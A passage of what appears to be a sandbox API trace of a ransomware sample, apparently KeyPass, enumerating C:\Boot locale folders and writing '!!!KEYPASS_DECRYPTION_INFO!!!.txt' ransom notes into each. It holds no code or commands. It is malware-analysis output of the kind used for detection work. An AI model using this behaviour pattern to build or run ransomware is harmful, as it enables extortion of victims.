(pszPath="C:\\Boot\\nb-NO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0237.083] FindNextFileW (in: hFindFile=0xcba338, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.083] PathFindExtensionW (pszPath="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned=".mui" [0237.083] FindNextFileW (in: hFindFile=0xcba338, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.083] PathFindExtensionW (pszPath="C:\\Boot\\nb-NO\\memtest.exe.mui") returned=".mui" [0237.083] FindNextFileW (in: hFindFile=0xcba338, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0237.083] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.083] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0237.083] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0237.083] GetLastError () returned 0x3f0 [0237.083] PathAppendW (in: pszPath="C:\\Boot\\nl-NL\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\nl-NL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0237.083] PathFileExistsW (pszPath="C:\\Boot\\nl-NL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0237.084] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\nl-nl\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0237.181] GetFileType (hFile=0x3ac) returned 0x1 [0237.181] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0237.181] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0237.181] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0237.181] WriteFile (in: hFile=0x3ac, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0237.182] WriteFile (in: hFile=0x3ac, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0237.182] CloseHandle (hObject=0x3ac) returned 1 [0237.182] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcba438 [0237.182] FindNextFileW (in: hFindFile=0xcba438, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.182] FindNextFileW (in: hFindFile=0xcba438, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.182] PathFindExtensionW (pszPath="C:\\Boot\\nl-NL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0237.182] FindNextFileW (in: hFindFile=0xcba438, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.182] PathFindExtensionW (pszPath="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned=".mui" [0237.182] FindNextFileW (in: hFindFile=0xcba438, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.182] PathFindExtensionW (pszPath="C:\\Boot\\nl-NL\\memtest.exe.mui") returned=".mui" [0237.182] FindNextFileW (in: hFindFile=0xcba438, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0237.182] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.182] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0237.183] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0237.183] GetLastError () returned 0x3f0 [0237.183] PathAppendW (in: pszPath="C:\\Boot\\pl-PL\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\pl-PL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0237.183] PathFileExistsW (pszPath="C:\\Boot\\pl-PL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0237.184] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\pl-pl\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b4 [0237.185] GetFileType (hFile=0x3b4) returned 0x1 [0237.185] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0237.185] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0237.185] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0237.185] WriteFile (in: hFile=0x3b4, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0237.186] WriteFile (in: hFile=0x3b4, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0237.186] CloseHandle (hObject=0x3b4) returned 1 [0237.186] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcba578 [0237.186] FindNextFileW (in: hFindFile=0xcba578, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.186] FindNextFileW (in: hFindFile=0xcba578, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.186] PathFindExtensionW (pszPath="C:\\Boot\\pl-PL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0237.186] FindNextFileW (in: hFindFile=0xcba578, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.186] PathFindExtensionW (pszPath="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned=".mui" [0237.186] FindNextFileW (in: hFindFile=0xcba578, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.186] PathFindExtensionW (pszPath="C:\\Boot\\pl-PL\\memtest.exe.mui") returned=".mui" [0237.186] FindNextFileW (in: hFindFile=0xcba578, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0237.186] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.187] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0237.187] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0237.187] GetLastError () returned 0x3f0 [0237.187] PathAppendW (in: pszPath="C:\\Boot\\pt-BR\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\pt-BR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0237.187] PathFileExistsW (pszPath="C:\\Boot\\pt-BR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0237.187] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\pt-br\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b8 [0237.318] GetFileType (hFile=0x3b8) returned 0x1 [0237.318] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0237.318] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0237.318] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0237.318] WriteFile (in: hFile=0x3b8, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0237.319] WriteFile (in: hFile=0x3b8, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0237.319] CloseHandle (hObject=0x3b8) returned 1 [0237.319] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcba6f8 [0237.319] FindNextFileW (in: hFindFile=0xcba6f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.319] FindNextFileW (in: hFindFile=0xcba6f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.319] PathFindExtensionW (pszPath="C:\\Boot\\pt-BR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0237.320] FindNextFileW (in: hFindFile=0xcba6f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.320] PathFindExtensionW (pszPath="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned=".mui" [0237.320] FindNextFileW (in: hFindFile=0xcba6f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.320] PathFindExtensionW (pszPath="C:\\Boot\\pt-BR\\memtest.exe.mui") returned=".mui" [0237.320] FindNextFileW (in: hFindFile=0xcba6f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0237.320] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.320] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0237.320] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0237.320] GetLastError () returned 0x3f0 [0237.320] PathAppendW (in: pszPath="C:\\Boot\\pt-PT\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\pt-PT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0237.320] PathFileExistsW (pszPath="C:\\Boot\\pt-PT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0237.320] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\pt-pt\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0237.322] GetFileType (hFile=0x3bc) returned 0x1 [0237.322] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0237.322] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0237.322] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0237.322] WriteFile (in: hFile=0x3bc, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0237.323] WriteFile (in: hFile=0x3bc, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0237.323] CloseHandle (hObject=0x3bc) returned 1 [0237.323] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcb9bf8 [0237.323] FindNextFileW (in: hFindFile=0xcb9bf8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.323] FindNextFileW (in: hFindFile=0xcb9bf8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.323] PathFindExtensionW (pszPath="C:\\Boot\\pt-PT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0237.323] FindNextFileW (in: hFindFile=0xcb9bf8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.323] PathFindExtensionW (pszPath="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned=".mui" [0237.323] FindNextFileW (in: hFindFile=0xcb9bf8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.323] PathFindExtensionW (pszPath="C:\\Boot\\pt-PT\\memtest.exe.mui") returned=".mui" [0237.323] FindNextFileW (in: hFindFile=0xcb9bf8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0237.323] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.324] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0237.324] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0237.324] GetLastError () returned 0x3f0 [0237.324] PathAppendW (in: pszPath="C:\\Boot\\qps-ploc\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\qps-ploc\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0237.324] PathFileExistsW (pszPath="C:\\Boot\\qps-ploc\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0237.325] CreateFileW (lpFileName="C:\\Boot\\qps-ploc\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\qps-ploc\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0237.326] GetFileType (hFile=0x3b0) returned 0x1 [0237.327] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0237.327] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0237.327] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0237.327] WriteFile (in: hFile=0x3b0, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0237.328] WriteFile (in: hFile=0x3b0, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0237.328] CloseHandle (hObject=0x3b0) returned 1 [0237.328] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcba138 [0237.328] FindNextFileW (in: hFindFile=0xcba138, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.328] FindNextFileW (in: hFindFile=0xcba138, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.328] PathFindExtensionW (pszPath="C:\\Boot\\qps-ploc\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0237.328] FindNextFileW (in: hFindFile=0xcba138, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.328] PathFindExtensionW (pszPath="C:\\Boot\\qps-ploc\\bootmgr.exe.mui") returned=".mui" [0237.328] FindNextFileW (in: hFindFile=0xcba138, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.328] PathFindExtensionW (pszPath="C:\\Boot\\qps-ploc\\memtest.exe.mui") returned=".mui" [0237.328] FindNextFileW (in: hFindFile=0xcba138, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0237.328] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.329] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0237.329] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0237.329] GetLastError () returned 0x3f0 [0237.329] PathAppendW (in: pszPath="C:\\Boot\\Resources\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0237.329] PathFileExistsW (pszPath="C:\\Boot\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0237.330] CreateFileW (lpFileName="C:\\Boot\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\resources\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0237.330] GetFileType (hFile=0x3c0) returned 0x1 [0237.330] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0237.330] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0237.330] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0237.330] WriteFile (in: hFile=0x3c0, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0237.331] WriteFile (in: hFile=0x3c0, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0237.331] CloseHandle (hObject=0x3c0) returned 1 [0237.332] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcb99f8 [0237.332] FindNextFileW (in: hFindFile=0xcb99f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.332] FindNextFileW (in: hFindFile=0xcb99f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.332] PathFindExtensionW (pszPath="C:\\Boot\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0237.332] FindNextFileW (in: hFindFile=0xcb99f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.332] PathFindExtensionW (pszPath="C:\\Boot\\Resources\\bootres.dll") returned=".dll" [0237.332] FindNextFileW (in: hFindFile=0xcb99f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.332] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0237.332] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb3800 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0237.332] GetLastError () returned 0x3f0 [0237.332] PathAppendW (in: pszPath="C:\\Boot\\Resources\\en-US\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\Resources\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0237.332] PathFileExistsW (pszPath="C:\\Boot\\Resources\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0237.332] CreateFileW (lpFileName="C:\\Boot\\Resources\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\resources\\en-us\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eed8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0237.333] GetFileType (hFile=0x3c4) returned 0x1 [0237.333] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ef08, cchData=2 | out: lpLCData="0") returned 2 [0237.333] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eef4, cchData=2 | out: lpLCData="0") returned 2 [0237.333] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eee4, cchData=2 | out: lpLCData="0") returned 2 [0237.333] WriteFile (in: hFile=0x3c4, lpBuffer=0x2e4db70*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d49c, lpOverlapped=0x0 | out: lpBuffer=0x2e4db70*, lpNumberOfBytesWritten=0x2e4d49c*=0x3a4, lpOverlapped=0x0) returned 1 [0237.334] WriteFile (in: hFile=0x3c4, lpBuffer=0x2e4db70*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d49c, lpOverlapped=0x0 | out: lpBuffer=0x2e4db70*, lpNumberOfBytesWritten=0x2e4d49c*=0x2a, lpOverlapped=0x0) returned 1 [0237.334] CloseHandle (hObject=0x3c4) returned 1 [0237.334] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 0xcb9d38 [0237.334] FindNextFileW (in: hFindFile=0xcb9d38, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0237.334] FindNextFileW (in: hFindFile=0xcb9d38, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0237.334] PathFindExtensionW (pszPath="C:\\Boot\\Resources\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0237.334] FindNextFileW (in: hFindFile=0xcb9d38, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0237.334] PathFindExtensionW (pszPath="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned=".mui" [0237.334] FindNextFileW (in: hFindFile=0xcb9d38, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 0 [0237.335] FindNextFileW (in: hFindFile=0xcb99f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0237.335] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.335] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0237.335] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0237.335] GetLastError () returned 0x3f0 [0237.335] PathAppendW (in: pszPath="C:\\Boot\\ro-RO\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\ro-RO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0237.335] PathFileExistsW (pszPath="C:\\Boot\\ro-RO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0237.336] CreateFileW (lpFileName="C:\\Boot\\ro-RO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\ro-ro\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0237.336] GetFileType (hFile=0x3c8) returned 0x1 [0237.336] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0237.336] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0237.337] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0237.337] WriteFile (in: hFile=0x3c8, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0237.337] WriteFile (in: hFile=0x3c8, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, 